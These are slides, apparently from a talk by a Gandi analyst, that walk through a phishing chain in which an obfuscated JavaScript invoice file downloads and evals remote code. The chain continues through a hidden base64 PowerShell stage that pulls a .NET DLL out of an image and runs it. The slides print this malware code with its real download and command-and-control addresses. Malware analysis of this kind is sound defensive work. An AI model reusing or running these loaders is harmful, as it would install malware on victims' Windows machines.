
Creative but terrible phishing

Nicolas Danjon
nicolas.danjon@gandi.net

TLP:CLEAR

mailto:nicolas.danjon@gandi.net


2

Can you spot the red flags ?
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Let’s dive into it !

HERE = https://babaszepsegverseny.hu/INVOICE.js
“It is very dangerous, but I will still do it !”

https://babaszepsegverseny.hu/INVOICE.js
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WTF ?

var haplanto = [];

function 
oratoriano(abacateiro)
{
    if (!abacateiro)
        return
    haplanto.oratoriano(p)
    annona
    return p
}

function pecunia(str) {
    return 
str.split("").reverse().join("");
}

var cristel = new 
ActiveXObject("MSXML2.XMLHTTP
");
var corripo = 
pecunia("X1GMM/d/ee.etsap//:sptt
h");
cristel.open("GET", corripo, false);
cristel.send();

var focinho = "";
if (cristel.status === 200) {
    focinho = cristel.responseText;
}

function cortonomia(colleccionista) 
{
    eval(colleccionista);
}
cortonomia(focinho);

cristel = null;
function hypotheca()
{
    if (haplanto.convosco === 0)
        return null
    var abacateiro = 
haplanto.hypotheca()
    mantelado
    return abacateiro
}

function pluviometria()
{
    if (haplanto.convosco === 0)
        return null
    return 
haplanto[haplanto.convosco-1]
}
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Follow the link

echo "X1GMM/d/ee.etsap//:sptth" | rev

https://paste.ee/d/MMG1X
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Junk Code
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Well...

try {
    var junho = 
"ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5
OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLk
xlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREY
XRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpb
WFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY2
9tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/
MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltY
WdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFS
VD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID
0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3Rh
cnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbW
FnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNj
RTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZX
MpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCg
nVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmJiLzQzMS4wNy42MTIuNTgxLy86cHR0aCcgLCAnZGVzYXRpdmFkbycgLCAnZGVzYXRpdm
FkbycgLCAnZGVzYXRpdmFkbycsJ2pzYycsJ2Rlc2F0aXZhZG8nKSl9fQ==";
    var fronde = new ActiveXObject("WScript.Shell");
    var angulete = "$Codigo = '" + junho + "';";
    angulete += "$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));";
    angulete += "powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD";
    fronde.Run("powershell -command \"" + angulete + "\"", 0, false);
} catch (error) {

}
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More code...

function DownloadDataFromLinks { 
    param ([string[]]$links) 
    $webClient = New-Object System.Net.WebClient; 
    $downloadedData = @(); 
    $shuffledLinks = $links | Get-Random -Count $links.Length; 
    foreach ($link in $shuffledLinks) { 
        try { 
            $downloadedData += $webClient.DownloadData($link) 
        } catch { 
            continue 
        } 
    }; 
    return $downloadedData 
}; 
$links = 
@('https://uploaddeimagens.com.br/images/004/773/812/origina
l/js.jpg?1713882778', 
'https://uploaddeimagens.com.br/images/004/773/812/original/
js.jpg?1713882778'); 
$imageBytes = DownloadDataFromLinks $links; 

if ($imageBytes -ne $null) {
    $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
    $startFlag = '<<BASE64_START>>';
    $endFlag = '<<BASE64_END>>'; 
    $startIndex = $imageText.IndexOf($startFlag);
    $endIndex = $imageText.IndexOf($endFlag);
    if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
        $startIndex += $startFlag.Length; 
        $base64Length = $endIndex - $startIndex;
        $base64Command = $imageText.Substring($startIndex, $base64Length);
        $commandBytes = 
[System.Convert]::FromBase64String($base64Command);
        $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
        $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home');
        $method = $type.GetMethod('VAI').Invoke($null, [object[]] (
            'txt.bb/431.07.612.581//:ptth' ,
            'desativado' , 
            'desativado' ,
            'desativado',
            'jsc',
            'desativado'
        ))
    }
}
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Nice picture !
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But it looks strange...
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Result

res.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 
3 sections
7230cc614270dca79415b0cf53a666a219beb4beed90c85a1ac09f082aea613b  res.bin
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It’s a trap !
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Let’s sum up

● Windows malware (DLL)
● Embeded in a picture
● Downloaded from a PowerShell script
● Downloaded from a JavaScript
● Downloaded from a JavaScrpit
● Executed in a web page
● From a link in an (phishing) e-mail
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Thank you !
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